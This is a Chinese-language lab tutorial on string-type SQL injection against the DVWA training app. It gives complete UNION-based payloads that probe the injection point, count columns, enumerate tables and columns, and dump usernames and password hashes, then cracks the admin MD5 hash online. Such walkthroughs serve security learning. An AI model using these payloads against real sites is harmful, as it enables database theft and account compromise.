0x01:sql注入含義
1.問:sql注入,誰去注入?
答:攻擊者
2.問:sql注入,注入到哪裡?
答:sql注入,注入到sql查詢語句
3.問:sql注入,目的什麼?
答:sql注入,注入到sql查詢語句,進而破壞正常的sql查詢語句,最終執行自己想要執行的語句
4.問:sql注入時候,執行的語句,有什麼作用?
答:sql注入,執行的語句會與背景伺服器直接進行互動,相當于是在一條指令換取一條甚至一組結果,之後傳回到浏覽器的頁面進行渲染後,呈現在攻擊者的面前。
0x02:本次sql注入的類型:
1.字元型注入,它的字元型是什麼意思?
答:當輸入的參數為字元串時,稱為字元型。
2.字元型與數字型(整型)的差別在哪?
答:字元型和數字型最大的一個差別在于,數字型不需要單引号來閉合,而字元串一般需要通過單引号來閉合的。
3.注入的類型到底是什麼鬼?
答:①攻擊者把指令注入到查詢語句中,是為了傳到背景的sql伺服器後,可以執行,并且獲得回報。
②那麼這個以什麼類型的語句注入到查詢語句中,就完全取決于背景的sql伺服器了。
③若伺服器設定為char字元型,那麼相應的你也要通過字元型來注入咯。。。。。
例1:
1.字元型注入的發現過程:
①.首先你會發現一個注入點,如下圖所示:
②輸入:
'
如上圖所示,通過結果發現伺服器是通過字元串的格式來接收傳參的,是以這個就是字元型注入咯。
a.最外面一對單引号,是為了高亮顯示,也就是強調的。
b.接着一對單引号,是系統自動加的單引号。(字元型的,自動加一對單引号)(從這裡判斷的,這是字元型注入)
c.最裡面一個單引号,是剛剛自己打的。
③輸入:
1' and '1'='1
如上圖所示,結果正常顯示。
a.第一行紅色回顯的語句,這條語句是你自己在輸入框輸入的語句,隻是為了讓你看清,自己輸入了什麼。
b.第一行的語句:1' and '1'=1' 這條語句在送出後,系統會自動進行閉合,也就是自動在前後加一對單引号,如: '1' and '1'='1'
④輸入:
1' and '1'='2
如上圖所示,送出後無回顯。
總結:字元型注入的判斷過程:
' //出現5個引号 '''
1 and 1=1 //正常回顯 '1 and 1=1'
1 and 1=2 //正常回顯 '1 and 1=2'
1' and '1'='1 //正常回顯 '1' and '1'='1'
1' and '1'='2 //不回顯 '1' and '1'='2'
//前後的一對單引号,是字元型的時候,系統的自動閉合。
2.通過order by,猜解SQL查詢語句中的字段數
①輸入:
1' order by 3 #
②輸入:
1' order by 2 #
3.通過聯合查詢,确定顯示的字段順序,檢視目前資料庫,版本,使用者等資訊
①輸入:
1' union select 1,2 #
//如上圖所示,
Firstname為1;
Surname為2。
②輸入:
1' union select database(),version() #
//如上圖所示,
把1的位置換成database()後,顯示資料庫為dvwa;
把2的位置換成version()後,顯示版本為5.5.53。
③輸入:
1' union select user(),2 #
//如上圖所示,
把1的位置換成user()後,顯示伺服器的使用者為root,localhost為hostname主機名;
2的位置,依舊放2。
4.通過聯合查詢爆dvwa資料庫的表
①輸入:
1' union select group_concat(table_name),2 from information_schema.tables where table_schema='dvwa' #
//如上圖所示,
聯合查詢後,一次性顯示的表為:guestbook和users
②輸入:
1' union select table_name,2 from information_schema.tables where table_schema='dvwa' #
//如上圖所示,是逐條的顯示出,表guestbook和users
5.通過聯合查詢,爆表裡的列
①輸入:
1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' #
//如上圖所示,一次性的爆列名,注意user_id和first_name和,user和password
②輸入:
1' union select column_name,1 from information_schema.columns where table_name='users' #
//如上圖所示,逐條爆出列名,注意user_id和first_name和,user和password
6.通過聯合查詢,爆出列中的字段的内容
①輸入:
1' union select group_concat(concat_ws(char(32,58,32),user,password)),2 from users#
//如上圖所示,一行顯示所有資訊
②輸入:
1' union select concat_ws(char(32,58,32),user,password),2 from users#
//如上圖所示,分行顯示各自的使用者名和密碼
③輸入:
1' union select user,password from users #
//如上圖所示,使用者名和密碼分行顯示
7.解密admin使用者的md5加密後的密碼
①進入網站:https://www.cmd5.com/
//如上圖所示,admin的密碼是password
一句天賦毀了别人多少努力
2019-11-02————421